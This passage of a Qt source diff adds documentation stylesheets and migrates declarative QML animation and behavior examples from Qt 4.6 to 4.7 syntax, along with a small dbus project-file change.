+        font-weight: inherit;
+    }
+    del, ins
+    {
+        text-decoration: none;
+    }
+    li
+    {
+        list-style: none;
+    }
+    caption, th
+    {
+        text-align: left;
+    }
+    h1, h2, h3, h4, h5, h6
+    {
+        font-size: 100%;
+        font-weight: normal;
+    }
+    q:before, q:after
+    {
+        content: '';
+    }
+    abbr, acronym
+    {
+        border: 0;
+        font-variant: normal;
+    }
+    sup
+    {
+        vertical-align: baseline;
+    }
+    sub
+    {
+        vertical-align: baseline;
+    }
+    legend
+    {
+        color: #000000;
+    }
+    input, button, textarea, select, optgroup, option
+    {
+        font-family: inherit;
+        font-size: inherit;
+        font-style: inherit;
+        font-weight: inherit;
+    }
+    input, button, textarea, select
+    {
+        font-size: 100%;
+    }
+    /* Page style */
+    html
+    {
+        background-color: #e5e5e5;
+    }
+    body
+    {
+        background: #e6e7e8 url(../images/page_bg.png) repeat-x 0 0;
+        font: normal 13px/1.2 Verdana;
+        color: #363534;
+    }
+    strong
+    {
+        font-weight: bold;
+    }
+    em
+    {
+        font-style: italic;
+    }
+    .header, .footer, .wrapper
+    {
+        min-width: 600px;
+        max-width: 1500px;
+        margin: 0 30px;
+    }
+    .wrapper
+    {
+        background: url(../images/bg_r.png) repeat-y 100% 0;
+    }
+    .wrapper .hd
+    {
+        padding-left: 216px;
+        height: 15px;
+        background: url(../images/bg_ul.png) no-repeat 0 0;
+        overflow: hidden;
+    }
+    .offline .wrapper .hd
+    {
+        background: url(../images/bg_ul_blank.png) no-repeat 0 0;
+    }
+    .wrapper .hd span
+    {
+        height: 15px;
+        display: block;
+        background: url(../images/bg_ur.png) no-repeat 100% 0;
+        overflow: hidden;
+    }
+    .offline .wrapper .hd span
+    {
+        /*         background: url(../images/bg_ur_blank.png) no-repeat 100% 0; */
+    }
+    .wrapper .bd
+    {
+        background: url(../images/bg_l.png) repeat-y 0 0;
+        position: relative;
+    }
+    .offline .wrapper .bd
+    {
+        background: url(../images/bg_l_blank.png) repeat-y 0 0;
+    }
+    .wrapper .ft
+    {
+        padding-left: 216px;
+        height: 15px;
+        background: url(../images/bg_ll.png) no-repeat 0 0;
+        overflow: hidden;
+    }
+    .offline .wrapper .ft
+    {
+        background: url(../images/bg_ll_blank.png) no-repeat 0 0;
+    }
+    .wrapper .ft span
+    {
+        height: 15px;
+        display: block;
+        background: url(../images/bg_lr.png) no-repeat 100% 0;
+        overflow: hidden;
+    }
+    .header, .footer
+    {
+        display: block;
+        clear: both;
+        overflow: hidden;
+    }
+    .header
+    {
+        height: 115px;
+        position: relative;
+    }
+    .header .icon
+    {
+        position: absolute;
+        top: 13px;
+        left: 0;
+    }
+    .header .qtref
+    {
+        position: absolute;
+        top: 28px;
+        left: 88px;
+        width: 302px;
+        height: 22px;
+    }
+    .header .qtref span
+    {
+        display: block;
+        width: 302px;
+        height: 22px;
+        text-indent: -999em;
+        background: url(../images/qt_ref_doc.png) no-repeat 0 0;
+    }
+    /* header elements */
+    #nav-topright
+    {
+        height: 70px;
+    }
+
+    #nav-topright ul
+    {
+        list-style-type: none;
+        float: right;
+        width: 370px;
+        margin-top: 11px;
+    }
+
+    #nav-topright li
+    {
+        display: inline-block;
+        margin-right: 20px;
+        float: left;
+    }
+
+    #nav-topright li.nav-topright-last
+    {
+        margin-right: 0;
+    }
+
+    #nav-topright li a
+    {
+        background: transparent url(../images/sprites-combined.png) no-repeat;
+        height: 18px;
+        display: block;
+        overflow: hidden;
+        text-indent: -9999px;
+    }
+
+    #nav-topright li.nav-topright-home a
+    {
+        width: 65px;
+        background-position: -2px -91px;
+    }
+
+    #nav-topright li.nav-topright-home a:hover
+    {
+        background-position: -2px -117px;
+    }
+
+
+    #nav-topright li.nav-topright-dev a
+    {
+        width: 30px;
+        background-position: -76px -91px;
+    }
+
+    #nav-topright li.nav-topright-dev a:hover
+    {
+        background-position: -76px -117px;
+    }
+
+
+    #nav-topright li.nav-topright-labs a
+    {
+        width: 40px;
+        background-position: -114px -91px;
+    }
+
+    #nav-topright li.nav-topright-labs a:hover
+    {
+        background-position: -114px -117px;
+    }
+
+    #nav-topright li.nav-topright-doc a
+    {
+        width: 32px;
+        background-position: -162px -91px;
+    }
+
+    #nav-topright li.nav-topright-doc a:hover, #nav-topright li.nav-topright-doc-active a
+    {
+        background-position: -162px -117px;
+    }
+
+    #nav-topright li.nav-topright-blog a
+    {
+        width: 40px;
+        background-position: -203px -91px;
+    }
+
+    #nav-topright li.nav-topright-blog a:hover, #nav-topright li.nav-topright-blog-active a
+    {
+        background-position: -203px -117px;
+    }
+
+    #nav-topright li.nav-topright-shop a
+    {
+        width: 40px;
+        background-position: -252px -91px;
+    }
+
+    #nav-topright li.nav-topright-shop a:hover, #nav-topright li.nav-topright-shop-active a
+    {
+        background-position: -252px -117px;
+    }
+
+    #nav-logo
+    {
+        background: transparent url(     "../images/sprites-combined.png" ) no-repeat 0 -225px;
+        left: -3px;
+        position: absolute;
+        width: 75px;
+        height: 75px;
+        top: 13px;
+    }
+    #nav-logo a
+    {
+        width: 75px;
+        height: 75px;
+        display: block;
+        text-indent: -9999px;
+        overflow: hidden;
+    }
+    /* Clearing */
+    .header:after, .footer:after, .breadcrumb:after, .wrap .content:after, .group:after
+    {
+        content: ".";
+        display: block;
+        height: 0;
+        clear: both;
+        visibility: hidden;
+    }
+    /* ^ Clearing */
+
+
+
+    .shortCut-topleft-inactive
+    {
+        padding-left: 3px;
+        background: transparent url(     "../images/sprites-combined.png" ) no-repeat 0px -58px;
+        height: 20px;
+        width: 93px;
+    }
+    .shortCut-topleft-inactive span
+    {
+        font-variant: normal;
+    }
+    #shortCut
+    {
+        padding-top: 10px;
+        font-weight: bolder;
+        color: #b0adab;
+    }
+    #shortCut ul
+    {
+        list-style-type: none;
+        float: left;
+        width: 347px;
+        margin-left: 100px;
+    }
+    #shortCut li
+    {
+        display: inline-block;
+        margin-right: 25px;
+        float: left;
+        white-space: nowrap;
+    }
+    #shortCut li a
+    {
+        color: #b0adab;
+        text-decoration: none;
+    }
+    #shortCut li a:hover
+    {
+        color: #44a51c;
+        text-decoration: none;
+    }
+
+    /* end of header elements */    
+    
+    /* menu element */
+    .sidebar
+    {
+        float: left;
+        margin-left: 5px;
+        width: 200px;
+        font-size: 11px;
+    }
+    .sidebar a
+    {
+        color: #00732f;
+        text-decoration: none;
+    }
+    .offline .sidebar, .offline .feedback
+    {
+        display: none;
+    }
+    .sidebar .searchlabel
+    {
+        padding: 0 0 2px 17px;
+        font: normal bold 11px/1.2 Verdana;
+    }
+    .sidebar .search
+    {
+        padding: 0 15px 0 16px;
+    }
+    .sidebar .search form
+    {
+        width: 167px;
+        height: 21px;
+        padding: 2px 0 0 5px;
+        background: url(../images/form_bg.png) no-repeat 0 0;
+    }
+    .sidebar .search form fieldset input#searchstring
+    {
+        width: 158px;
+        height: 19px;
+        padding: 0;
+        border: none;
+        outline: none;
+        font: 13px/1.2 Verdana;
+    }
+    .sidebar .box
+    {
+        padding: 17px 15px 5px 16px;
+    }
+    .sidebar .box .first
+    {
+        background-image: none;
+    }
+    .sidebar .box h2
+    {
+        font: normal 18px/1.2 Arial;
+        padding: 15px 0 0 40px;
+        min-height: 32px;
+    }
+    .sidebar .box#lookup h2
+    {
+        background: url(../images/api_lookup.png) no-repeat 0 0;
+    }
+    .sidebar .box#topics h2
+    {
+        background: url(../images/api_topics.png) no-repeat 0 0;
+    }
+    .sidebar .box#examples h2
+    {
+        background: url(../images/api_examples.png) no-repeat 0 0;
+    }
+    .sidebar .box .list
+    {
+        display: block;
+    }
+    .sidebar .box .live
+    {
+        display: none;
+        height: 100px;
+        overflow: auto;
+    }
+    .list li a:hover, .live li a:hover
+    {
+        text-decoration: underline;
+    }
+    .sidebar .box ul li
+    {
+        padding-left: 12px;
+        background: url(../images/bullet_gt.png) no-repeat 0 5px;
+        margin-bottom: 15px;
+    }
+    .sidebar .bottombar
+    {
+        background: url(../images/box_bg.png) repeat-x 0 bottom;
+    }
+    /* content elements */
+    .wrap
+    {
+        overflow: hidden;
+    }
+    .offline .wrap
+    {
+        margin: 0 5px 0 5px;
+    }
+    /* tool bar */
+    .wrap .toolbar
+    {
+        background-color: #fafafa;
+        border-bottom: 1px solid #d1d1d1;
+        height: 20px;
+        margin-left: 3px;
+        margin-right: 5px;
+        position: relative;
+    }
+    .wrap .toolbar .toolblock
+    {
+        position: absolute;
+    }
+    .wrap .toolbar .breadcrumb
+    {
+        font-size: 11px;
+        line-height: 1;
+        padding: 0 0 10px 21px;
+        height: 10px;
+    }
+    .wrap .toolbar .toolbuttons
+    {
+        padding: 0 0 10px 21px;
+        right: 5px;
+        vertical-align: top;
+        overflow: hidden;
+    }
+    .wrap .toolbar .toolbuttons .active
+    {
+        color: #00732F;
+    }
+    .wrap .toolbar .toolbuttons ul
+    {
+        float: right;
+    }
+    .wrap .toolbar .toolbuttons li
+    {
+        float: left;
+        text-indent: -10px;
+        margin-top: -5px;
+        margin-right: 15px;
+        font-weight: bold;
+        color: #B0ADAB;
+    }
+    #smallA
+    {
+        font-size: 10pt;
+    }
+    #medA
+    {
+        font-size: 12pt;
+    }
+    #bigA
+    {
+        font-size: 14pt;
+    }
+    #smallA:hover, #medA:hover, #bigA:hover
+    {
+        color: #00732F;
+    }
+    #print
+    {
+        font-size: 14pt;
+        line-height: 20pt;
+    }
+    #printIcon
+    {
+        margin-left: 5px;
+    }
+    /* bread crumbs */
+    .wrap .breadcrumb ul li
+    {
+        float: left;
+        background: url(../images/breadcrumb.png) no-repeat 0 3px;
+        padding-left: 15px;
+        margin-left: 15px;
+        font-weight: bold;
+    }
+    .wrap .breadcrumb ul li.last
+    {
+        font-weight: normal;
+    }
+    .wrap .breadcrumb ul li.first
+    {
+        background-image: none;
+        padding-left: 0;
+        margin-left: 0;
+    }
+    .wrap .content
+    {
+        padding: 30px;
+        position: relative;
+    }
+    /* text elements */
+    .heading
+    {
+        font: normal 600 16px/1.0 Arial;
+        padding-bottom: 15px;
+    }
+
+    .subtitle
+    {
+        font-size: 13px;
+    }
+
+    .small-subtitle
+    {
+        font-size: 13px;
+    }
+    
+    .wrap .content h1
+    {
+        font: 600 18px/1.2 Arial;
+        padding-bottom: 15px;
+    }
+    .wrap .content h2
+    {
+        font: 600 16px/1.2 Arial;
+    }
+    .wrap .content h3
+    {
+        font: 600 14px/1.2 Arial;
+    }
+    .wrap .content p
+    {
+        line-height:20px;
+        padding:10px 5px 10px 5px;
+    }
+    .wrap .content ul
+    {
+        padding-left: 25px;
+    }
+    .wrap .content li
+    {
+        padding-left: 12px;
+        background: url(../images/bullet_sq.png) no-repeat 0 5px;
+        font: normal 400 10pt/1 Verdana;
+        margin-bottom: 10px;
+        line-height: 14px;
+    }
+    a
+    {
+        color: #00732F;
+        text-decoration: none;
+    }
+    a:hover
+    {
+        color: #4c0033;
+        text-decoration: underline;
+    }
+    .content a:visited
+    {
+        color: #4c0033;
+        text-decoration: none;
+    }
+    .offline .wrap .content
+    {
+        padding-top: 15px;
+    }
+    .footer
+    {
+        min-height: 100px;
+        color: #797775;
+        font: normal 9px/1 Verdana;
+        text-align: center;
+        padding-top: 40px;
+    }
+    .feedback
+    {
+        float: right;
+        padding-right: 10px;
+        font: normal 8px/1 Verdana;
+        color: #B0ADAB;
+    }
+    .feedback:hover
+    {
+        float: right;
+        font: normal 8px/1 Verdana;
+        color: #00732F;
+        text-decoration: underline;
+    }
+    hr
+    {
+        background-color: #e0e0e0;
+        height: 1px;
+        width: 100%;
+        text-align: left;
+        margin: 15px 0px 15px 0px;
+    }
+    
+    .content .alignedsummary
+    {
+        margin: 15px;
+    }
+    /* tables */
+    table, pre
+    {
+        -moz-border-radius: 7px 7px 7px 7px;
+        background-color: #F6F6F6;
+        border: 1px solid #E6E6E6;
+        border-collapse: separate;
+        font-size: 11px; 
+        min-width: 395px; 
+        margin-bottom: 25px;
+    }
+    thead{margin-top: 5px;}
+    th{ padding: 3px 15px 3px 15px;}
+    td{padding: 3px 15px 3px 20px;}
+    table tr.odd
+    {
+        border-left: 1px solid #E6E6E6;
+        background-color: #F6F6F6; 
+        color: #66666E;
+    }
+    table tr.even
+    {
+        border-left: 1px solid #E6E6E6;
+        background-color: #ffffff;
+        color: #66666E;
+    }
+    table tr.odd:hover
+    {
+        background-color: #E6E6E6; 
+    }
+    table tr.even:hover
+    {
+        background-color: #E6E6E6;
+    }
+    span.comment
+    {
+        color: #8B0000;
+        font-style: italic;
+    }
+    span.string, span.char
+    {
+        color: #254117;
+    }
+    pre
+    {
+        -moz-border-radius:7px 7px 7px 7px;
+        background-color:#F6F6F6;
+        border:1px solid #DDDDDD;
+        margin:0 20px 10px 10px;
+        padding:20px 15px 20px 20px;
+        overflow-x:auto;
+    }
+    .qmltype
+    {
+        text-align: center;
+        font-size: 160%;
+    }
+    .qmlreadonly
+    {
+        float: right;
+        color: #254117;
+    }
+    #feedbackBox
+    {
+        display:none;
+        -moz-border-radius:7px 7px 7px 7px;
+        border:1px solid #DDDDDD;
+        position:fixed;
+        top:100px;
+        left: 33%;
+        height: 190px;
+        width: 400px;
+        padding: 5px;
+        background-color: #e6e7e8;
+        z-index: 4;
+    }
+    #feedcloseX a
+    {
+        display:inline;
+        padding: 5px 5px 0 0;
+        margin-bottom:3px;
+        color: #363534;
+        font-weight:600;
+        float: right;
+        text-decoration: none;
+    }
+    #feedbox
+    /* here */
+    {
+        display:inline;
+        width: 370px;
+        height: 120px;
+        margin:0px 25px 10px 15px;
+    }
+    #feedsubmit
+    {
+        display:inline;
+        float:right;
+        margin:4px 32px 0 0;
+    }
+    #blurpage
+    {
+        display: none;
+        position: fixed;
+        float: none;
+        top: 0px;
+        left: 0px;
+        right: 0px;
+        bottom: 0px;
+        background: transparent url(../images/feedbackground.png) 0 0;
+        z-index: 3;
+    }
+    .toc
+    {
+        float: right; 
+        -moz-border-radius:7px 7px 7px 7px;
+        background-color:#F6F6F6;
+        border:1px solid #DDDDDD;
+        margin:0 20px 10px 10px;
+        padding:20px 15px 20px 20px;
+        height: auto;
+        width: 200px;
+    }
+
+    .toc h3
+    {
+		font:600 12px/1.2 Arial;
+    }
+	
+    .wrap .content .toc ul
+    {
+       /* float: left;*/
+        padding-left: 0px;
+        
+    }
+
+
+    .wrap .content .toc .level2
+    {
+       /* float: left;*/
+        padding-left: 15px;
+        
+    }
+  
+
+    .content .toc li
+    {
+        font: normal 10px/1.2 Verdana;
+        background: url(../images/bullet_dn.png) no-repeat 0 5px;
+    }
+
+    .relpage 
+    {
+        -moz-border-radius: 7px 7px 7px 7px;
+        border: 1px solid #DDDDDD;
+        padding: 25px 25px;
+        clear:both;
+    }
+    .relpage ul
+    {
+        float: none;
+        padding: 15px;
+    }
+    .content .relpage li 
+    {
+        font: normal 11px/1.2 Verdana;
+    }
+    /* edit */
+    h3.fn, span.fn
+    {
+        background-color: #F6F6F6;
+        border-width: 1px;
+        border-style: solid;
+        border-color: #E6E6E6;
+        font-weight: bold; 
+        /*  padding: 6px 0px 6px 10px;*/
+         /*     margin: 42px 0px 0px 0px;*/
+    }
+    /* edit */
+
+    .indexbox
+    {
+        width: 100%; 
+    }
+    .content .indexboxcont li
+    {
+        font: normal 600 13px/1 Verdana;
+    }
+
+ /*   .indexbox a
+    {
+        color: #00732f;
+        text-decoration: none;
+    }*/
+    .indexbox a:hover, .indexbox a:visited:hover
+    {
+        color: #4c0033;
+        text-decoration: underline;
+    }
+    .indexbox a:visited
+    {
+        color: #00732f;
+        text-decoration: none;
+    }
+
+    .indexboxcont
+    {
+        display: block;
+    }
+
+    .indexboxbar
+    {
+        background: transparent url(     "../images/horBar.png" ) repeat-x left bottom;
+        margin-bottom: 25px;
+    }
+
+    .indexboxcont .section
+    {
+        display: inline-block; 
+        width: 49%; 
+        *width:42%;
+        _width:42%;
+        padding:0 2% 0 1%;
+        vertical-align:top;
+}
+
+    .indexboxcont .indexIcon
+    { 
+        width: 11%; 
+        *width:18%;
+        _width:18%;
+        overflow:hidden;
+}
+    .indexboxcont .section p
+    { 
+        padding-top: 20px;
+        padding-bottom: 20px;
+    }
+
+    .indexboxcont .sectionlist
+    {
+        display: inline-block;
+        width: 33%;
+        margin-right: -2px;
+        vertical-align: top;
+        padding: 0;
+    }
+    .tricol
+    {
+       
+    }
+    .indexboxcont .sectionlist ul
+    {
+        padding-left: 15px;
+        margin-bottom: 20px;
+    }
+/*
+    .indexboxcont .sectionlist ul li
+    {
+        line-height: 12px;
+    }
+*/
+    .lastcol
+    {
+        display: inline-block;
+        vertical-align: top;
+        padding: 0;
+        max-width: 25%;
+    }
+
+    .tricol .lastcol
+    {
+        margin-left:-6px;
+    }
+
+    /*.toc ul*/
+
+    /* end page elements */
+}
+/* end of screen media */
+
+/* start of print media */
+
+@media print
+{
+    .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft
+    {
+        display: none;
+        background: none;
+    }
+    .content
+    {
+        position: absolute;
+        top: 0px;
+        left: 0px;
+        background: none;
+        display: block;
+    }
+}
+/* end of print media */
diff --git a/doc/src/template/style/style_ie6.css b/doc/src/template/style/style_ie6.css
new file mode 100755
index 0000000..16fb850
--- /dev/null
+++ b/doc/src/template/style/style_ie6.css
@@ -0,0 +1,54 @@
+.indexbox, .indexboxcont, .group {
+  zoom: 1;
+  height: 1%;
+}
+
+.sidebar {
+  margin-left: 3px;
+  width: 199px;
+  overflow: hidden;
+}
+
+.sidebar .search form {
+  position: relative;
+}
+
+.sidebar .search form fieldset {
+  position: absolute;
+  margin-top: -1px;
+}
+
+.sidebar .search form input#searchstring  {
+  border: 1px solid #fff;
+  height: 18px;
+}
+
+.wrap {
+  zoom: 1;
+}
+
+.content,
+.toolbar {
+  zoom: 1;
+  margin-left: -3px;
+  position: relative;
+}
+
+.indexbox {
+  clear: both;
+}
+
+.indexboxcont .section {
+  zoom: 1;
+  float: left;
+}
+
+.indexboxcont .sectionlist {
+  zoom: 1;
+  float: left;
+}
+
+.wrap .toolbar .toolbuttons li {
+  text-indent: 0;
+  margin-right: 8px;
+}
\ No newline at end of file
diff --git a/doc/src/template/style/style_ie7.css b/doc/src/template/style/style_ie7.css
new file mode 100755
index 0000000..afbff5f
--- /dev/null
+++ b/doc/src/template/style/style_ie7.css
@@ -0,0 +1,19 @@
+.indexbox, .indexboxcont, .group {
+  min-height: 1px;
+}
+
+.sidebar .search form input#searchstring  {
+  border: 1px solid #fff;
+  height: 17px;
+}
+
+
+.indexboxcont .section {
+  zoom: 1;
+  float: left;
+}
+
+.indexboxcont .sectionlist {
+  zoom: 1;
+  float: left;
+}
diff --git a/src/3rdparty/webkit/WebCore/generated/JSWorkerContextBase.lut.h b/doc/src/template/style/style_ie8.css
index e69de29..e69de29 100644..100755
--- a/src/3rdparty/webkit/WebCore/generated/JSWorkerContextBase.lut.h
+++ b/doc/src/template/style/style_ie8.css
diff --git a/examples/dbus/dbus.pro b/examples/dbus/dbus.pro
index f365829..e599334 100644
--- a/examples/dbus/dbus.pro
+++ b/examples/dbus/dbus.pro
@@ -1,9 +1,12 @@
 TEMPLATE = subdirs
 SUBDIRS = listnames \
 	  pingpong \
-	  complexpingpong \
-	  dbus-chat \
-	  remotecontrolledcar
+	  complexpingpong
+
+!contains(QT_CONFIG, no-gui) {
+    SUBDIRS += dbus-chat \
+               remotecontrolledcar
+}
 
 # install
 target.path = $$[QT_INSTALL_EXAMPLES]/dbus
diff --git a/examples/declarative/animations/color-animation.qml b/examples/declarative/animations/color-animation.qml
index 6740522..3616a31 100644
--- a/examples/declarative/animations/color-animation.qml
+++ b/examples/declarative/animations/color-animation.qml
@@ -1,4 +1,5 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
 
 Item {
     id: window
@@ -11,7 +12,7 @@ Item {
             GradientStop {
                 position: 0.0
                 SequentialAnimation on color {
-                    repeat: true
+                    loops: Animation.Infinite
                     ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 }
                     ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 }
                 }
@@ -19,7 +20,7 @@ Item {
             GradientStop {
                 position: 1.0
                 SequentialAnimation on color {
-                    repeat: true
+                    loops: Animation.Infinite
                     ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 }
                     ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 }
                 }
@@ -31,7 +32,7 @@ Item {
     Item {
         width: parent.width; height: 2 * parent.height
         transformOrigin: Item.Center
-        NumberAnimation on rotation { from: 0; to: 360; duration: 10000; repeat: true }
+        NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Animation.Infinite }
         Image {
             source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter
             transformOrigin: Item.Center; rotation: -3 * parent.rotation
@@ -45,7 +46,7 @@ Item {
             source: "images/star.png"; angleDeviation: 360; velocity: 0
             velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800
             SequentialAnimation on opacity {
-                repeat: true
+                loops: Animation.Infinite
                 NumberAnimation { from: 0; to: 1; duration: 5000 }
                 NumberAnimation { from: 1; to: 0; duration: 5000 }
             }
@@ -59,7 +60,7 @@ Item {
             GradientStop {
                 position: 0.0
                 SequentialAnimation on color {
-                    repeat: true
+                    loops: Animation.Infinite
                     ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 }
                     ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 }
                 }
diff --git a/examples/declarative/animations/easing.qml b/examples/declarative/animations/easing.qml
index 8f2655e..bed4b5f9 100644
--- a/examples/declarative/animations/easing.qml
+++ b/examples/declarative/animations/easing.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: window
diff --git a/examples/declarative/animations/property-animation.qml b/examples/declarative/animations/property-animation.qml
index 4428f34..5afe8ef 100644
--- a/examples/declarative/animations/property-animation.qml
+++ b/examples/declarative/animations/property-animation.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: window
@@ -40,17 +40,17 @@ Item {
         anchors.horizontalCenter: parent.horizontalCenter
         source: "images/face-smile.png"; y: minHeight
 
-        // Animate the y property. Setting repeat to true makes the
+        // Animate the y property. Setting loops to Animation.Infinite makes the
         // animation repeat indefinitely, otherwise it would only run once.
         SequentialAnimation on y {
-            repeat: true
+            loops: Animation.Infinite
 
             // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function
             NumberAnimation {
                 from: smiley.minHeight; to: smiley.maxHeight
                 easing.type: "OutExpo"; duration: 300
             }
-            
+
             // Then move back to minHeight in 1 second, using the OutBounce easing function
             NumberAnimation {
                 from: smiley.maxHeight; to: smiley.minHeight
diff --git a/examples/declarative/aspectratio/face_fit.qml b/examples/declarative/aspectratio/face_fit.qml
index 6a031a4..52cd4c2 100644
--- a/examples/declarative/aspectratio/face_fit.qml
+++ b/examples/declarative/aspectratio/face_fit.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we implement a hybrid of the "scale to fit" and "scale and crop"
 // behaviours which will crop up to 25% from *one* dimension if necessary
diff --git a/examples/declarative/aspectratio/face_fit_animated.qml b/examples/declarative/aspectratio/face_fit_animated.qml
index 79e99e9..63fc9c6 100644
--- a/examples/declarative/aspectratio/face_fit_animated.qml
+++ b/examples/declarative/aspectratio/face_fit_animated.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we extend the "face_fit" example with animation to show how truly
 // diverse and usage-specific behaviours are made possible by NOT putting a
@@ -19,8 +19,8 @@ Rectangle {
         x: (parent.width-width*scale)/2
         y: (parent.height-height*scale)/2
         SpringFollow on scale {
-            source: Math.max(Math.min(face.parent.width/face.width*1.333,face.parent.height/face.height),
-                        Math.min(face.parent.width/face.width,face.parent.height/face.height*1.333))
+            to: Math.max(Math.min(face.parent.width/face.width*1.333,face.parent.height/face.height),
+                         Math.min(face.parent.width/face.width,face.parent.height/face.height*1.333))
             spring: 1
             damping: 0.05
         }
diff --git a/examples/declarative/aspectratio/scale_and_crop.qml b/examples/declarative/aspectratio/scale_and_crop.qml
index 2e2b6ed..a438104 100644
--- a/examples/declarative/aspectratio/scale_and_crop.qml
+++ b/examples/declarative/aspectratio/scale_and_crop.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we implement "Scale and Crop" behaviour.
 //
diff --git a/examples/declarative/aspectratio/scale_and_crop_simple.qml b/examples/declarative/aspectratio/scale_and_crop_simple.qml
index e720ce7..1160ec5 100644
--- a/examples/declarative/aspectratio/scale_and_crop_simple.qml
+++ b/examples/declarative/aspectratio/scale_and_crop_simple.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we implement "Scale to Fit" behaviour, using the
 // fillMode property.
diff --git a/examples/declarative/aspectratio/scale_and_sidecrop.qml b/examples/declarative/aspectratio/scale_and_sidecrop.qml
index 8230e49..5593ab8 100644
--- a/examples/declarative/aspectratio/scale_and_sidecrop.qml
+++ b/examples/declarative/aspectratio/scale_and_sidecrop.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we implement a variant of "Scale and Crop" behaviour, where we
 // crop the sides if necessary to fully fit vertically, but not the reverse.
diff --git a/examples/declarative/aspectratio/scale_to_fit.qml b/examples/declarative/aspectratio/scale_to_fit.qml
index eae4d16..724a36e 100644
--- a/examples/declarative/aspectratio/scale_to_fit.qml
+++ b/examples/declarative/aspectratio/scale_to_fit.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we implement "Scale to Fit" behaviour "manually", rather
 // than using the preserveAspect property.
diff --git a/examples/declarative/aspectratio/scale_to_fit_simple.qml b/examples/declarative/aspectratio/scale_to_fit_simple.qml
index 7389581..0e960b4 100644
--- a/examples/declarative/aspectratio/scale_to_fit_simple.qml
+++ b/examples/declarative/aspectratio/scale_to_fit_simple.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Here, we implement "Scale to Fit" behaviour, using the
 // fillMode property.
diff --git a/examples/declarative/behaviors/SideRect.qml b/examples/declarative/behaviors/SideRect.qml
new file mode 100644
index 0000000..d32bd7b
--- /dev/null
+++ b/examples/declarative/behaviors/SideRect.qml
@@ -0,0 +1,22 @@
+import Qt 4.7
+
+Rectangle {
+    id: myRect
+
+    property string text
+
+    width: 75; height: 50
+    radius: 6
+    color: "#646464"
+    border.width: 4; border.color: "white"
+
+    MouseArea {
+        anchors.fill: parent
+        hoverEnabled: true
+        onEntered: {
+            focusRect.x = myRect.x; 
+            focusRect.y = myRect.y; 
+            focusRect.text = myRect.text;
+        }
+    }
+}
diff --git a/examples/declarative/behaviors/behavior-example.qml b/examples/declarative/behaviors/behavior-example.qml
new file mode 100644
index 0000000..b7bae6c
--- /dev/null
+++ b/examples/declarative/behaviors/behavior-example.qml
@@ -0,0 +1,79 @@
+import Qt 4.7
+
+Rectangle {
+    width: 600; height: 400
+    color: "#343434"
+
+    Rectangle {
+        anchors.centerIn: parent
+        width: 200; height: 200
+        radius: 30
+        color: "transparent"
+        border.width: 4; border.color: "white"
+
+
+        SideRect {
+            id: leftRect
+            anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.left }
+            text: "Left"
+        }
+
+        SideRect {
+            id: rightRect
+            anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.right }
+            text: "Right"
+        }
+
+        SideRect {
+            id: topRect
+            anchors { verticalCenter: parent.top; horizontalCenter: parent.horizontalCenter }
+            text: "Top"
+        }
+
+        SideRect {
+            id: bottomRect
+            anchors { verticalCenter: parent.bottom; horizontalCenter: parent.horizontalCenter }
+            text: "Bottom"
+        }
+
+
+        Rectangle {
+            id: focusRect
+
+            property string text
+
+            x: 62.5; y: 75; width: 75; height: 50
+            radius: 6
+            border.width: 4; border.color: "white"
+            color: "firebrick"
+
+            // Setting an 'elastic' behavior on the focusRect's x property.
+            Behavior on x {
+                NumberAnimation { easing.type: "OutElastic"; easing.amplitude: 3.0; easing.period: 2.0; duration: 300 }
+            }
+
+            // Setting an 'elastic' behavior on the focusRect's y property.
+            Behavior on y {
+                NumberAnimation { easing.type: "OutElastic"; easing.amplitude: 3.0; easing.period: 2.0; duration: 300 }
+            }
+
+            Text {
+                id: focusText
+                text: focusRect.text
+                anchors.centerIn: parent
+                color: "white"
+                font.pixelSize: 16; font.bold: true
+
+                // Setting a behavior on the focusText's x property:
+                // Set the opacity to 0, set the new text value, then set the opacity back to 1.
+                Behavior on text {
+                    SequentialAnimation {
+                        NumberAnimation { target: focusText; property: "opacity"; to: 0; duration: 150 }
+                        PropertyAction { }
+                        NumberAnimation { target: focusText; property: "opacity"; to: 1; duration: 150 }
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/examples/declarative/behaviours/SideRect.qml b/examples/declarative/behaviours/SideRect.qml
deleted file mode 100644
index 63b7db2..0000000
--- a/examples/declarative/behaviours/SideRect.qml
+++ /dev/null
@@ -1,17 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    id: myRect
-
-    property string text
-
-    color: "black"
-    width: 75; height: 50
-    radius: 5
-    border.width: 10; border.color: "white";
-    MouseArea {
-        anchors.fill: parent
-        hoverEnabled: true
-        onEntered: { focusRect.x = myRect.x; focusRect.y = myRect.y; focusRect.text = myRect.text }
-    }
-}
diff --git a/examples/declarative/behaviours/behavior.qml b/examples/declarative/behaviours/behavior.qml
deleted file mode 100644
index c84bf62..0000000
--- a/examples/declarative/behaviours/behavior.qml
+++ /dev/null
@@ -1,72 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    color: "black"
